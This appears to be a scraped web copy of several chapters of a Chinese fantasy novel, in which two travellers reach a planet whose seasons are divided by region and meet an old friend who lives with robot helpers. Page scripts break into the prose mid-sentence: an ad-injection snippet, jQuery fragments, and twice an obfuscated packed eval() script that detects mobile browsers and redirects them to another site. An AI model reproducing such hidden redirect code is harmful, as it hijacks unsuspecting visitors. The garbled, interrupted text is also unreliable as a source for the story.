阳光刺眼,这种暖洋洋的光你只有在陆地上才见得到,千真万确,令人舒心的温度则是他们离开水池后才慢慢感觉到的。 莱纳德伸手挡住眼睛,透过指缝,他看到远处蓝水晶似的澄澈天空、香樟树交错纠缠的树杈,还有那些薄如蝉翼的小巧绿叶,近旁的水边,地钱藓盘绕着,孢子囊摇头晃脑地凑近池塘,像是在找水喝。 阳光下,一切都那么的明亮可爱。 “莱尼,你还好?”以利亚伸开手脚呈“大”字摊在池水里,把头朝莱纳德扭过来,“零件都还好端端地在原位吧?”两人身上还穿着潜水服,以利亚的氧气面罩沾着新鲜的淤泥和水草,看起来有些滑稽。 “好得不得了。”莱纳德真诚地回答。 经历过被发疯的深渊族鬼魂附体、险些被活埋在海底宫殿废墟里之后,讲道理,他还能自由地活动手脚就谢天谢地了。 要不是半边身子还浸泡在冰冷的池水和滑溜溜的淤泥里的话,莱纳德简直想宣布,这是一场完美的郊游。 “是吗?彼此彼此。” “耶——”莱纳德举起右手,准备跟以利亚击个掌。 忽然,一只大脑袋、小眼睛的黑色鲎虫从两人中间的水里蹦了起来,扭动着怪莫怪样的双叉尾巴,“咚”地一声,又落回了水里。 两人举着手愣在原地,目光随着这个变异蝌蚪似的小东西一上又一下,对视一眼,忽然同时爆发出一阵笑声,仿佛刚刚目睹了什么滑稽至极的事情似的。 等他们都笑够了,莱纳德才伸手把以利亚从水里拉起来,两人互相搀扶着爬到岸上,敷衍地甩了甩身上的淤泥,然后一齐在开满白色银莲花的柔然草地上再次躺下来,不约而同吁了口长气。 是的,柔软的草叶间还有不少嶙峋的石块和蹦跳着试图振翅的昆虫,但鉴于两人还在度假,为什么不呢? “比我上次躺过的床还要舒服。”莱纳德评价。 “没记错的话,你上次躺过的床是医院的病床,据我所知,它们向来不以舒适著称。”以利亚实话实说。 “没记错的话,那也是托你的福。” “哈哈,顺便一提,潜水服可以收起来了,按钮在正对下巴一寸的地方,长按三秒。”以利亚边说边示范,顺势在草地上打了个滚,潜水服和氧气面罩便被收了起来,变成一枚硬币大小躺在了他的手掌心里。 “这正是求之不得。”莱纳德收起潜水服,把硬币还给以利亚。 出海穿的这身衣服饱受海水和暴风雨洗礼,早已狼狈不堪,被裹在潜水服里显然也比不上熨烫服务,莱纳德抬起胳膊把衬衣袖子凑到鼻端,闻着有点像臭咸鱼,不过眼下也没什么好挑剔的。 他深深地吸了口气,贪婪地呼吸着久违的空气,带着花草的清香,还有池水淡淡的腥味。 简而言之,世界上最美妙的味道。 “这是哪儿?我记得你说过安全屋?”莱纳德问以利亚,感到力量逐渐回到了身体里,也许是大自然神奇的治愈之力,他连肺部火烧火燎的感觉都消失了。 以利亚“嗯”了一声:“距离我们的目的地有些偏差,我猜是小数点差了一位。” “听起来有点耳熟啊。” “喂,传送门可是你画的。” “小数点可是你定的。” “好吧,罪名成立。”以利亚双手枕在脑后,舒服地吁了口气,“不是最糟的,想想看,我们完全有可能从几十米的高空摔下来,然后在坚硬的树枝上砸断几根骨头。” 莱纳德嗤笑:“听起来很吸引人,真的。” “即便真挂树上去,潜水服也有减震缓冲的功能,不会让你变成二级残废的。” “谢了,我只希望这林子里不要有吃人的东西。” “现在交叉手指还来得及。” 莱纳德手臂撑地坐起来,目之所及,周围都是郁郁葱葱的高大乔木,显得静谧而美好——至少看上去如此——摘掉头盔后,林子里的鸟叫和虫鸣一下子清晰起来,伴着风吹树叶的沙沙声,是清晨特有的森林圆舞曲。 “你对目的地在哪个方向有数吗?以利亚。” “十拿九稳。” “那就指路吧,船长。”莱纳德站起身,几乎是立刻开始怀念躺在柔软草地上的感觉了。 以利亚把手递给莱纳德,借着对方的力道坐起来,指着一个方向说道:“喏,从这边穿过林子就不远了,如果运气好的话,那里还有符合人体工学的床可以睡觉。” 他顿了顿:“不过这片林子大得很,我有预感,今晚我们大概还是得在这地方过夜。” 莱纳德不乐意地皱起鼻子,顺着以利亚手指的方向远眺:“最好尽快上路,我可不想躺在树枝上里跟蛇虫鼠蚁一起过夜。” “别担心,我们的潜水服还能用,防蚊虫效果一流。”以利亚也站了起来,他的脸色还是很苍白,但已经比刚才好多了,他忽地又想起什么,幸灾乐祸地嗤笑一声,“哦,你的潜水服破了两个洞,蛇大概会很喜欢的。” 莱纳德反击道:“别高兴太早,就算潜水服完好无损,狮子老虎估计也不介意把你当作宵夜点心。” 以利亚伸手在额前搭了个凉棚,正色道:“第一,狮子老虎不会爬树,第二,看这片林子的密度,不像是有大型哺乳动物活动的样子,最多不过有几头野猪或者马鹿罢了,放心吧,它们晚上也需要睡觉。” “哈,真让人安心。” 两人向森林中进发,昨天夜里大概下过雨,到处都湿漉漉的,野蒜苗蹿得老高,各色蘑菇争先恐后地从树根和被苔藓覆盖石块间挤出脑袋来,空气中弥漫着新鲜的雨水和青草汁液的味道。 莱纳德很高兴他们不用戴着头盔穿越这片林子。 阳光透过树叶缝隙洒下来,在晨雾中散射开来,头顶的树枝和脚下的苔藓都渡上了一层朦胧的绒毛。 “这地方要是有高智商的蘑菇和会说话的榕树,以利亚,你也起码得提前知会我一声。” “不会有高智慧植物,我保证。” “嗯哼?”莱纳德看上去将信将疑,或者说,对于眼前只是普通森林这一点几乎有一些失望。 以利亚表情有点好笑,他深吸了一口气:“不过这里不是地球,虽然大气成分相似度很高,生态系统也高度类似。” 莱纳德立刻眼睛一亮,追问:“宇宙这么大,还会有这种巧合?” “跟巧合没什么关系。”以利亚哈哈一笑,随手从身旁的榛树枝上揪下一条嫩黄色的穗状花序,凑到鼻端闻了闻,“贝塔-863号行星, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一颗人类的殖民星球,分昼夜四季,但也是经过土壤和大气改造才变得宜居,如果我没记错的话,第一批殖民者登陆的时候,这里还是有毒的荒地呢。” 莱纳德挑眉:“真不愧是你选的安全屋。” 以利亚笑了笑,解释道:“这个安全屋还真不是我选的,有位老朋友住在这儿,我只是拿到了坐标而已。” 但等莱纳德满怀兴趣地追问这位老朋友是谁、他认不认识时,以利亚却又神秘兮兮地缄口不言了。 等太阳升到头顶时,两人停下来稍事修整。 以利亚找来了可食用的浆果和甜堇菜,还有成熟干透的红松果,莱纳德去临近的小溪边用头盔盛了清水,两人在一块相对干燥的紫罗兰花地上把潜水服铺开坐下,分享了一顿不算丰盛的午餐。 浆果又酸又涩,莱纳德不得不用几大口清水把果肉灌下去,依然被酸得龇牙咧嘴。以利亚在一旁耐心地剥松子,剥好的果仁仔细地放在一片比脸还大的黄葛树叶上。 “莱尼,慢点吃。”以利亚头也不抬地说,“要是实在饿,我们待会儿沿途还可以找点没毒的菌子吃。” “谢了,我可不想吃出幻觉来,看到满天飞彩色小球。” “你这是不相信我辨认菌类的能力。” “说对了。” “哼,那就吃点柳树叶,这个季节的叶子正嫩,不苦。” “树叶不好吃,我想吃松子。”莱纳德凑过去,又转口夸奖道,“哎呀,这么一小会儿就剥了这么多,你手指头真够灵活的。”一边厚脸皮地伸手拿起几颗松子仁塞进嘴里,他牙齿上还残留着浆果的酸味,但只咀嚼了几下,甘咧的松香便在口腔中弥漫开来。 “怎么样?” “嗯,味道棒极了。”一开始还有些微苦,但很快便只剩下松仁特有的清甜。 以利亚眼看着莱纳德把他剥好的松仁一把全抓了去,也不生气,倒是莱纳德自己先不好意思了,用清水洗了一颗浆果,不由分说塞进了以利亚的嘴巴。 “嘶……”以利亚的脸也扭成了麻花,他咽下那颗酸溜溜的果子,然后抓起一把剥空的松果丢到莱纳德脑袋上,作为回敬。 短暂的休息过后,两个人再次上路。 以利亚的脸色好多了,走路也不再三步一喘气,不过谁都能看出来他离最佳状态还差得远。莱纳德没吃饱,反而被酸果子激得更饿了,一路上左顾右盼,寻找食物的踪迹。 “你说我们有没有可能抓一只小动物烤着吃?”莱纳德问,肚子同时咕噜噜地叫起来,以示应和。 以利亚挑眉:“比如松鼠?林鼠?” “……第一,没有人会吃松鼠,更没有人会吃耗子。”莱纳德磨了磨后槽牙,“第二,我是指兔子之类的。” “你说的小动物倒是有不少,但就算它们乐意献身,在林子里生火恐怕也不是明智之举。”以利亚嗤嗤地笑起来,“不过我会记下你的口味,然后提醒那位老朋友别煮一锅耗子浓汤招待你的。” “耗子浓……”莱纳德的脸皱成一团,对以利亚脑袋里的食谱感到担忧,“你的老朋友到底是什么人?巴巴里蛮族吗?” “说不定呢。”以利亚故作神秘。 “这一招马上就要变无趣了,以利亚。” 莱纳德忽然停下脚步,四下张望着,最后目光落在树梢上,疑惑道:“你有没有发现一点不对劲的地方?” 105.第八章:夏日派对 “不对劲的地方?”以利亚也停了下来,眯起眼睛,“你是指好的那种,还是不好的那种?” “很难说。” “不妨说来听听,反正我们有的是时间。” “还是展示给你看比较直接。” 莱纳德说着伸手撑住旁边的那株高大的叶樱桃树,轻轻一摇,深红色的樱桃果便簌簌地落了下来,地上早跌落了好些,吸引了附近不少喜甜的昆虫。 他附身捡起一颗小果,吹了吹,塞进嘴里一咬,浆果立刻爆开酸甜的汁液,微涩,却丝毫不掩其清香。 “喏。”莱纳德捡了几颗个大完整的樱桃递给以利亚。 以利亚接过樱桃,眼睛里闪过狡黠的笑意:“这果子怎么了?” “我们之前经过了一片樱桃林,记得吗?就在我们跨过那条小溪之前。”莱纳德说,“我还问你……” “……那些粉白的花叫什么。”以利亚接口道,“然后我告诉你那是野樱桃的花,再过几个月才能结果。” 而现在,他们面前是一模一样的树,却已经结满了红宝石一样漂亮饱满的果子。另一件越来越难以忽视的事,林子里的温度比之先前有明显的上升,远超过清晨和午间该有的差距,不管是花草,还是树木,都更加茂盛、浓烈,非要说的话,简直像是夏天忽然降临了。 莱纳德看以利亚的表情就知道他肯定早看出来了——或者干脆一开始就知道,毫无疑问——这个鬼机灵。 趁莱纳德翻白眼的功夫,以利亚已经吃了好几颗樱桃,赞许道:“很不错。”也不知是在夸樱桃,还是夸莱纳德。 莱纳德无视了这句评价,追问道:“是时间流速的问题?我们在一个时间流速更快的区域?还是这颗星球的四季变化就是这么奇怪?” 以利亚耸耸肩:“我也说不上来。” 莱纳德故作惊讶状,哂笑道:“你还有不知道的事?” 以利亚挑起一边眉毛:“喂,你这是夸我还是骂我?” “当然是夸你,你这个行走的宇宙维基百科。”莱纳德笑嘻嘻地拍拍对方的肩膀,不得不承认,以利亚并不比他知道的多这一点让他感到很满意。 有时正是未知才能带来乐趣。 当然,危险往往是个不可避免的附赠品。 不远处的灌木丛忽然簌簌地抖动了几下,惊起不少飞虫,紧接着,一只比牧羊犬大不了多少、长着条状花纹的褐色小动物从灌木丛里跳了出来,用毛茸茸的长鼻子拱着地,哼哧哼哧地,一路循着樱桃果吃了过来。 莱纳德瞪大了眼睛,是一头小野猪! 他脚下一动,落叶立刻“嘎吱”一响,小猪仔原本吃得正欢,被这动静惊到,浆果和甜草根里抬起头来,警惕地看着对面不远处站着的两脚兽。 “嗨。”以利亚居然还跟那小崽子打招呼,真是毫无边界感的人类,莱纳德无语地心想,如果以利亚真是人类的话。 “嘘,别……”莱纳德尽量放低声音,结果小猪仔还是被吓到,咕噜噜尖叫一声,撒开蹄子飞奔而逃。 “跑得还挺快。”莱纳德不悦地抱起胳膊。 “还是只幼崽。”以利亚说道。 “你觉得,我们把这只幼崽抓住,然后吃一顿烧烤的可能性有多大?”莱纳德咽了口唾沫。 “要我说,”以利亚的声音里藏着笑意,“比被这幼崽的成年野猪家族群起而攻之的可能性要小那么一点点吧。” “真的?”莱纳德望着小猪仔消失的灌木丛,不无遗憾地叹了口气。 “野猪一般都是群体活动,现在这个点它们应该还在睡午觉呢,这只小崽子大概是贪玩跑出来的。” 莱纳德撇撇嘴:“听起来正是个给它教训的好机会呢。” 以利亚好笑地转过头来:“看来你真是饿急眼了,我的失误,饥饿是最不该发生在野餐环节的事。” “体验杰克?伦敦的《热爱生命》是挺有趣的,但说老实话,我已经开始后悔没在海底抓几条沙丁鱼来吃了。”莱纳德舔舔嘴唇,或者肥美的鱿鱼,他不挑食。 “振作点,好消息是,”以利亚拍拍莱纳德的肩膀,拉着他往远离野猪崽的方向走开,“夏天到了,树林里能吃的果子还会少吗?” “你没听过酸的东西开胃,会越吃越饿?” “嘿,那边有树生菌,个头可真不小呢,”以利亚充耳不闻,“要过去看看有没有毒吗?” 莱纳德嘟嘟囔囔地被以利亚拉着走,满不乐意,但至少不再打野猪们的主意了:“我大学的舍友是个素食主义者,我给你讲过没?不吃肉,不吃蛋,连汉堡包他都只吃大豆做的假肉汉堡,还有蘑菇茄子披萨,都是些一闻就很邪恶的东西。” 他又叹了口气:“真不知道那家伙是怎么活下来的。” “也许他半夜出去偷偷吃烧烤呢。”以利亚偷笑。 “哈,那至少能解释他为什么没有患上营养不良。” 菌子有毒不能吃,很可惜,倒不是说莱纳德有多遗憾他不能生吃这些看着就味道可怕的东西。 但有的吃总比饿着强,这一点真正挨过饿的人都知道,比如那个倒霉的淘金者。 林子里比起之前更加闷热,没有了凉丝丝的、好闻的风,空气仿佛凝固了似的,光凭温度就足够消耗体力,难怪那些野猪的午觉时间要一直持续到黄昏。 知了趴在树上拼命叫唤,两只鹿角虫为了争夺树胶打得不亦乐乎,黑色甲壳在太阳下闪闪发光,好像世界上最迷你的铠甲勇士,鹳鸟斗嘴的声音从某个遥远的地方传过来,哒哒哒哒,安静了一会儿,然后又是,哒哒哒哒…… 莱纳德用手背擦了擦流到脸颊的汗水,十分好奇它们的力气都是从哪儿来的。 以利亚也没好到哪儿去,用不着看那张床单似的脸,从他吃力喘息的声音里就能听出来。 终于,几株橡树——或者说那些熟透的、富含油脂的橡果——暂时拯救了他们。 坚果的外壳极硬,莱纳德用石头才把这些顽固的小东西砸开,果仁有些发苦,硬得能把人牙齿崩掉,味道也远远不及松子,不过胜在个头大得多,充饥效果几乎立竿见影。 两人就着刚才摘的樱桃和奶浆草,都吃了不少橡果,并且一致认为这东西烤一烤会更好吃。 “大功告成,我又活过来了。”莱纳德心满意足地宣布,终于提出一项他早就想了很久的提议——让他来背以利亚,这家伙明显力不从心了,只不过在强撑罢了。 “用不着,还是省着你的体力抓小猪仔吧。”以利亚死鸭子嘴硬。 “听话点,别逼我亲手抓你这头小猪仔。”莱纳德撸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963905|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起袖子,故意狞笑着冲他龇了龇牙。 “我们离目的地不远了。”以利亚转移话题,“听到鹳鸟的声音了吗?那些大鸟都住在森林边缘,把巢筑在阳光充足的树顶上。” “巴拉巴拉巴拉,警告,你再说废话,我就要用肩扛式背人法了,说到做到。”莱纳德一边说一边抓起以利亚的一条胳膊,拽过头顶搭在自己脖子后边,作势要把他甩到背上。 “别闹,”以利亚又好气又好笑,妥协半步道,“这样就行,省力多了。” 莱纳德计划得逞,得意道:“朝鹳鸟的方向走,对吧?说不定还能掏几颗鸟蛋呢。” “如果你能爬那么高的话。” “等着瞧吧。” 不过,他们先等到的不是鹳鸟,而是一只馋嘴的狍子。 有一点以利亚说的没错,他们的确很靠近森林边缘了。 不知何时,高大的乔木开始变得稀疏,几株树的树顶上还能看到被遗弃的鹳鸟的巢,尾巴蓬松的松鼠在树干上敏捷地窜来窜去,忙着收集过冬的粮食,尖尖的耳朵衬得它们一脸聪明相。 视野开阔起来,一丛矮小的铺地柏后面,竟然还藏着块小小的玉米地。 玉米肯定不是野生的,也就意味着人烟,不是吗? 两个人交换了相同的看法,决定过去查看一番,说不定还能剥点玉米粒吃。 绿油油的秸秆长得快要比人还高,扁平宽大的叶片间,能看到不少鼓鼓囊囊的玉米棒,嫩黄的穗子垂下来,好像绿精灵的头发。 狍子就是这时忽然从秸秆间“泼剌”一下跳出来的。 以利亚和莱纳德都吓了一跳,那只大耳朵的家伙生着赭红色的短毛,在玉米地里显眼的好像空屋里的大象,瞪着一双圆溜溜的大眼睛瞧着两人,好像在思考他们究竟是怪模怪样的玉米还是什么别的东西。 这次两人都一动不动,默契地没有发出任何声音。 狍子柔软的耳朵抖动着,很快对他们失去了兴趣,弯下脖子开始大嚼玉米叶,忽然间,它像是听到了什么动静,又一下子警觉起来,侧过头谛听片刻,猛地撒开蹄子朝一边蹿了出去。 与此同时,“嗖”的一声—— 一支羽箭破空而来,不偏不倚,正好落在那只狍子刚才站着的地方,箭尾犹自颤动不休。 狍子蹿得飞快,却比不上第二支箭快,它只来得及蹿出几步,就被锋利的箭镞扎穿了脖子,身子一歪,摔倒在地上。 “嘿!谁授权你们闯到我的地盘来的?报上身份姓名!快!”一个洪亮的声音在不远处大声喝问,随即是弓弦绷紧的声音。 显然,这位神箭手不介意把他们跟那只可怜的狍子做同等对待。 “我们没有恶意。”莱纳德举起一只手,以利亚举起另一只,“我们只是来找人的。”两个人都朝声音响起的方向看过去,却偏偏连一个人影都看不到。 “以利亚?莱纳德?” 那个声音忽然变得熟悉起来,惊讶、满含笑意,听起来竟然高兴得很。随即,玉米杆“窸窸窣窣”地响了一阵,一个瘦小的人影拨开玉米叶跳到了两人面前,一手握着短弓,背后背着箭筒,戴着一顶皮质的小帽,歪头笑嘻嘻地看着他们,说道:“你们两个老混蛋,怎么跑到这里来了?” 竟然是奥多娜?霍普。 106.第九章:秋之降临 “真不敢相信,你的‘老朋友’居然是霍普小姐。”跟着奥多娜“回家”的路上,莱纳德忍不住对以利亚皱起鼻子做了个鬼脸,“哼,我就知道,你们第一次见面不是在布兰迪酒馆。” “对我来说是的,对我的这位‘老朋友’则不然。”奥多娜头也不回地抢在以利亚前答道,她一只手拖着死狍子,另一只手还拿着弓箭,像个合格猎手拖着她的胜利战果那样,看上去毫不费力,并且志得意满。 “顺便一提,”她又问,“我们离目的地还有将近三英里,你们两个男孩儿坚持得住吗?” “拜托,是男人,男孩是形容狗狗的。”莱纳德挑剔地说。 对这一言辞十分不利的是,在奥多娜的衬托下,后边互相搀扶的两个人实在有失男子汉气概,不过幸好,莱纳德偷偷地想,要不然奥多娜肯定要让他来拖那头狍子,谢天谢地。 “你刚才说,这片地方是你的地盘?”以利亚问奥多娜。 “没错,鉴于我是贝塔-863号行星的合法公民。”奥多娜拎着弓的手向外一划,颇有气势地说道,“方圆一百公里都是我的属地,包括你们刚才经过的森林,需要我出示法律凭证吗?” “一百公里?”莱纳德瞠目结舌,比故园鸟镇还大,好一个地主婆! “你可以这么理解,贝塔-863号行星上的居民不喜欢群居,所以这里的人口一直控制在十分合理的范围。”奥多娜沾沾自喜地说道,仿佛讨厌群居是什么了不得的优点似的。 “所以那块玉米地是你种的咯?”莱纳德追问。 “没错。” “你把玉米地选在离家三里地远、还有野狍子出没的地方?” “夏秋之交是玉米长得最好的地方,我只是顺其自然罢了。”奥多娜耸耸肩,仿佛在解释什么最简单不过的事,“至于野狍子嘛,那叫做意外之喜。” 莱纳德听得一头雾水:“什么时候‘夏秋之交’能用来形容地理位置了?” 奥多娜一仰头,爽朗地大笑起来:“我忘了,你们是第一次来。” “听你的话,这里还能是魔法奥兹国不成?” “八九不离十吧。” “愿闻其详。” “那可说来话长。” “我们还有三英里的时间要打发,不是吗?” “你们要是从树林里一路走过来的,应该也注意到了。”奥多娜思索片刻,慢条斯理地说,“在我的地盘上,四季并不按照你们熟悉的规律更替,而是按照地域划分。” 哦,所以刚才在森林里才会走着走着从春天到夏天,莱纳德不无惊讶地想,当然,他也注意到路上的野草开始发黄枯萎了,看来他们现在进入了“秋天领地”。 不是他见过最奇怪的,不过…… “植物总有发芽长大、开花结果的过程,”莱纳德踢了踢脚下的枯草,质疑道,“这些草难道一‘出生’就是黄的?夏天森林里的果子都是凭空冒出来的?” 想想那些樱桃和橡果,莱纳德忽然觉得胃有些沉重,好像一口气喝了太多凉水。 “当然没那么简单,这里的四季更替另有玄机。”奥多娜的语气有几分得意,悠然说道,“三英里恐怕还不够解释。” 这时,以利亚开口道:“是时光族科技,对吧?如果我没看错的话。” 奥多娜回头冲以利亚一挑眉:“你很识货嘛。” 莱纳德的记忆忽然跳了一下,他知道时光榕树是时光族,但这个词他最近还在哪里听到过,而且含义非凡,还有另一个人也是时光族。 究竟是在哪里来着? 最后莱纳德也没想出个所以然,反而错过了以利亚和奥多娜关于时光族科技的交流,倒不是说他能听得懂那些艰深的词汇。 对于外星高科技而言,麻省理工大的学历还是差点意思。 谢了,拉斐尔?莱芙 。 越往前走,秋天的痕迹便越浓,到处都是金黄和深红,空气中的草木清香被一种熟透果实的醇厚所代替,闻着让人很舒服。 “那是谁?”莱纳德忽然一指远处的小片水稻田,有个穿格子衬衫的矮小身影在黄绿交杂的稻杆间一晃而过,伴随着“咯吱咯吱”的声音,稻杆一片片倒了下去。 偷食的小动物可不会穿人的衣服,对吧? 奥多娜脸上毫无意外之色,回答道:“那是格林,割稻子的一把好手。” “我以为你的属地里只有你一个人呢。”莱纳德说。 “我的属地里确实只有我一个人,”奥多娜用一种实事求是的语气回答,“当然,你们两个入侵者除外。” 莱纳德忽略掉“入侵者”这个不实指控,讶然道:“你不会想告诉我,格林其实是你养的大猩猩吧?”穿着人类的衣服,还会收割稻谷,就算大猩猩聪明绝顶,真的能被训练成这个样子吗? “当然不是咯。” “长臂猿?” 奥多娜又爆发出一阵爽朗的大笑,却没再多说,反而卖了个关子:“过去看看就知道了。”说完脚下一转,往稻田的方向走去。 莱纳德翻了个白眼,用胳膊肘怼了怼以利亚,嘟囔道:“看见了没?在爱显摆这一点上,你俩可真是天造地设的一对儿。” 以利亚轻笑一声,反唇相讥道:“还不是因为有你在,连显摆都容易多了。” “你……”莱纳德想不出反击的话来,只好恶狠狠地威胁道,“再说把你扔沟里!” 以利亚厚着脸皮说:“悉听尊便。” 真扔沟里还得自己去捡,不划算,莱纳德只得恨恨作罢。 走到水稻田的田埂边,莱纳德才看清楚,那个在稻秆间穿梭的矮个子既不是大猩猩,也不是其他灵长类动物,而是个黑黝黝的机器人。 那机器人虽然穿着衬衣,模样却并不像人,反而像《机器人总动员》里的清洁小工瓦力,身材敦实,长得憨厚可爱,头上还顶着一对大眼睛。 “你专门做了个机器人替你收割稻子?” “第一,他叫格林,不叫机器人;第二,格林是我的大管家,除了割稻子,能干的事情可多了去了。” “唔,了不起。”莱纳德喃喃道。 以利亚也点点头表示同意。 只见格林一双长长的手臂在稻谷间上下翻飞,镰刀过处,响起一连串“嘎吱”声,稻杆便纷纷落入它的背囊中,然后靠身下的那对履带移动到最近的稻谷堆,把满满当当的背囊清空,再开始下一段收割…… 莱纳德望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977439|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格林缓慢移动的矮小身影,那件格子衬衫上沾了不少细碎的稻壳,还有一根稻穗滑稽地挂在两只大眼睛中间,活像个被拐骗来的童工。 莱纳德忍不住问:“干嘛不用收割机呢?” 奥多娜用鼻子哼了一声,仿佛大受冒犯:“那些笨东西怎么配跟我的格林相比?” 莱纳德嘟囔:“可千万别告诉我它有一只蟑螂朋友作伴,还喜欢看《你好,多莉!》。” “别自作多情,伊娃。”奥多娜嗤笑,“格林的本事,你们以后就知道了。” 莱纳德大为意外:“你居然看过《机器人总动员》?” 奥多娜笑笑不答,她从田埂退下来,拎起那只被丢在一旁的狍子,带着两人回到了原来的路上去。 在回到奥多娜住的小木屋之前,他们还在路上见到了另外两个机器人,或者管家。 一个身材瘦长,戴一顶卷檐大帽子,站在柿子树下勤勤恳恳地摘果子,偶尔被跌落的柿子砸中脑袋,那顶帽子便派上用场,卷檐儿兜住滚动的果子,往后一倾,便落到了身后装柿子的背篓中。另一个长得圆圆胖胖,弯腰低头,原来在地上捡毛栗子。 奥多娜管他们叫史莱姆和萨利。 想到那片森林里各色果树,还有那些毛茸茸的小动物,莱纳德猜,这样的机器人大概还有不少。 奥多娜住的是一间两层小木屋,外面看着不大,却很精致。 尖尖的屋顶铺满深红色的防水瓦片,木墙上漆了防腐涂料,却仍是漂亮的原木色,地基打得不深,四角用支撑柱撑离地面,外围的栏杆是乳白色的。 就像童话里描述的那样,每一扇窗户都干干净净,朝外伸的窗台上还摆着两个金黄的南瓜,几颗松果,晒干的红辣椒一串串地挂在墙上,在风中微微晃动,好像一群排练梅伦格舞的红衣舞娘。 “欢迎来到我的秘密基地。”奥多娜不无得意地介绍道,看到莱纳德和以利亚脸上的赞赏神色,不由得很高兴,“不管你们是从谁那儿听说这地方的。” “还能有谁?当然是听你说的。”以利亚笑笑。 “啊,未来的我和过去的你,听起来耳熟不?”奥多娜一挑眉,“时间旅行总是充满惊喜,我还以为退休之后,那些冒险对我来说已经是过去式了呢。” “退休?上一次见,奥多娜,你还是个时间特工呢。”莱纳德说,回忆起奥多娜乔装改扮混进穆锁船长的海盗船,结果却跟他们不期而遇的经历,“如果我没记错的话,你当时还提起了阿斯兰山谷。” 奥多娜脸上浮现出些许怀念的神色:“阿斯兰山谷啊……那对我来说已经是很久远的事情了。” “有多久远?”莱纳德忽然注意到,奥多娜笑的时候眼角会出现很细的皱纹。尽管如此,她看起来仍然很年轻,也许不如布兰迪酒馆见到时那么年轻,但仍然很年轻。 “久到我自己都记不清了。”奥多娜眨眨眼睛,她似乎不愿就这个话题多谈,抬手把狍子往屋前的空地一丢,跨上台阶,弓箭挂在木质走廊的横梁上,跟几串晒好的鱼干相映成趣。 “还愣着干嘛,进来呀。”奥多娜回头冲两人摆了摆手,嫣然一笑,“我保证你们不会失望的。” 关于这一点,她还真没说错。 107.第十章:秋冬之交(上) 奥多娜的小木屋坐落在“秋冬之交”。 用她的话来说,“秋冬之交”既不太冷、也不太热,白天不会太长、黑夜也不会太短,如果你想要观赏日出,也不需要为起不来床而发愁。 总而言之,把小木屋建在这里是顺其自然,就像这里的每一片森林、每一条河流、每一块草地那样。 当然,昼夜温差让人有些吃不消,晚上睡觉得点起炉子才能抵御寒冷,要是北方的暴风雪有一天忽然决定试探它的边界,大概还得给门窗做额外加固,不过,那也算是生活在“秋冬之交”的众多乐趣之一。 更何况,堆雪人的愿望总是很容易被满足,单这一条理由就足够了。用奥多娜的话来说,没有人会讨厌雪人,她还兴致勃勃地提出了打雪仗的点子,“我们可以模拟三国交战,输了的负责砍柴烧火做饭,怎么样?” 三个人都在屋里坐了下来,奥多娜端来了热茶、糖煮板栗,还有一碟烤得焦香酥脆的核桃仁,正是饥饿的旅人最需要的。 “当然,”莱纳德点点头,一指以利亚,“等这家伙把身体养好,不至于被风一吹就染上肺炎之后。” 以利亚嘀咕了几句表示反对、却不是很有底气的话,随即转移话题道:“我很好奇,奥多娜,既然你一直独居,那我们现在坐的这些舒服的扶手椅又是为谁准备的呢?”他眨眨眼睛,开玩笑道:“可别告诉我是格林或者萨利。” 奥多娜捧着茶杯,舒舒服服地盘起腿蜷缩在椅子里,闻言一笑,神神秘秘地回答道:“这个嘛,虽然不算频繁,但我这里偶尔也会有客人来。” 莱纳德忍不住笑出了声:“真会有人穿越一百多公里跑来这里做客?” “不管你信不信,可千万别小瞧友情的力量,距离在大部分情况下都算不了什么,”奥多娜咬着嘴唇,像是在忍笑,“你们不就是远道而来?”她说着意味深长地眨眨眼睛,“小可爱,你以为这会是你们唯一一次来这里做客吗?” “好吧、好吧。”莱纳德举起手,“我知道,时间旅行,一切皆有可能。” 每次奥多娜有意无意地释放魅力,莱纳德都有种明知她在顾左右而言他,自己却偏偏无从招架的感觉,更何况,坐在这么柔软舒适的椅子上,吃着软糯香甜的栗子,啜饮着热乎乎的乌龙茶,实在让人很难去计较任何事情。 日子还长,不是吗? “现在,给我讲讲你们是怎么沦落到这个地步的。”奥多娜的目光从两人身上轮流扫过,微笑道,“不是我太刻薄,但街头流浪汉现在闻起来可能都比你们俩更温和一点。” 这话不假,森林徒步对他俩的衣服状况当然毫无帮助,鞋底更是早就沾满了烂泥和树叶,刚才两人压根没好意思把鞋子穿进来,但衣服就算再脏再臭,也总不能当着女士的面脱个干净。 莱纳德的脸不由得有些发红,尤其是这间小屋木这么干净,他立刻觉得浑身不自在起来,尴尬道:“说起这个,我们能先洗漱一下再讲不迟吗?” “当然,洗澡水正在火上烧着,等你们喝完茶吃完点心就差不多了,不过,我只有一个浴桶。”奥多娜好笑地瞟着莱纳德和以利亚,“你们俩谁先去?” 等到洗漱干净,换上奥多娜用毛毯和别针临时制作的创意斗篷,莱纳德只觉得身上仿佛轻了十斤,他以前从没尝试过用浴桶洗澡,桶里活动空间不大,而且没有沐浴露和洗发水,只有奥多娜用鹿油和玫瑰花自制的香皂——闻起来很香,但对于习惯了各色工业品的现代人来说,多少有点奇怪——不过实话实说,被热水紧紧包围的感觉还挺不赖的。 